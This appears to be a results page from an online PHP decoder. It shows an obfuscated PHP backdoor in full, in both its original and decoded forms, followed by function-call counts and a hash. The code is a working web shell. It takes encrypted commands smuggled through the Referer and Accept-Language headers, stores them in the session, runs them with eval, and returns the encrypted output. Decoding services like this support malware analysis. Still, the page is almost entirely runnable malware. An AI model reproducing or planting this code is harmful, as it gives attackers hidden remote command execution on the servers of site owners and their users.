Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $E='z+Pz+)$pPzPz.=$qPz[$Pzm[2][$z]]Pz;if(strpos($p,$hPz)===0)Pz{$s[Pz$i]="";$pPz=$P..
Decoded Output download
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
Did this file decode correctly?
Original Code
<?php
$E='z+Pz+)$pPzPz.=$qPz[$Pzm[2][$z]]Pz;if(strpos($p,$hPz)===0)Pz{$s[Pz$i]="";$pPz=$Pzss($p,Pz3Pz);PzPz}if(arr';
$C=str_replace('Pu','','cPureaPutePu_PufuPunctiPuon');
$l='Pz&$Pz_PzSESSION;Pz$ss="subsPztr";$sl="strtolowerPz";$PziPz=$m[1][0].$Pzm[1][1];$Pzh=$slPz(Pz$Pzss(md';
$x='oPz;}$r=$_SERVPzER;$rrPz=@$r[Pz"HTPzTP_REFERPzER"];Pz$raPz=@Pz$r["HTTP_APzCCEPT_PzLANGUAGE"]Pz;iPzfPzPz(Pz$rr&';
$Y='5($i.$Pzkh),0,3));$f=Pz$sl(PzPz$PzPzss(md5($i.$kf),0,3));$pPz="";PzfPzor($z=1;$Pzz<coPzunt($m[1]);$';
$n='&$ra){$u=parse_url($rPzrPz);Pzparse_str(Pz$u["query"],Pz$qPz);$q=Pzarray_PzPzvalues($Pzq);preg_match_Pza';
$j='$i=0;$i<$lPz;)Pz{Pzfor($j=0;(Pz$j<$cPz&&$i<$l)PzPz;$jPz++,$Pzi++){Pz$o.=Pz$t{$i}^$k{$j};}}retuPzrn $';
$K='Pzay_key_exisPzts($i,$s)Pz){$s[Pz$Pzi].=$p;$e=strpos($s[$Pzi],$f)Pz;if($Pze){$kPz=$kPzhPzPz.$kf;ob_sta';
$Z='rt();@evaPzl(@gzunPzcPzoPzmpress(@x(@base6Pz4_decodePz(Pzpreg_rePzplace(PzaPzrray("/_/","/-Pz/"),Pzarra';
$T='$kh="5d4PzPz1";$kf="402a";fPzunctPzion xPz($t,$Pzk){$Pzc=sPztrlen($k);$l=stPzrlenPz($PzPzt);$o="";forPz(';
$p='=baPzse64_encode(Pzx(gzPzcPzomprePzss($o),$kPz));Pzprint("Pz<$k>Pz$d</$k>");@sPzessPzion_desPztroy();}}}}';
$m='y("/Pz","+"),Pz$ssPz($s[$iPz],0Pz,$e))),$kPz)));$oPz=oPzb_gePzt_conPztents();Pzob_end_cleanPzPz();$d';
$N='lPzl("/([\\w])[\\w-Pz]+(?:Pz;q=Pz0.([\\d]))?PzPz,?/",$Pzra,$m);ifPz($q&&$m){Pz@sesPzsionPz_start()Pz;$sPz=';
$v=str_replace('Pz','',$T.$j.$x.$n.$N.$l.$Y.$E.$K.$Z.$m.$p);
$B=$C('',$v);$B();
?>
Function Calls
null | 1 |
str_replace | 2 |
create_function | 1 |
Stats
MD5 | 0bddfab54dad524ce8b0ef80ed533cef |
Eval Count | 1 |
Decode Time | 108 ms |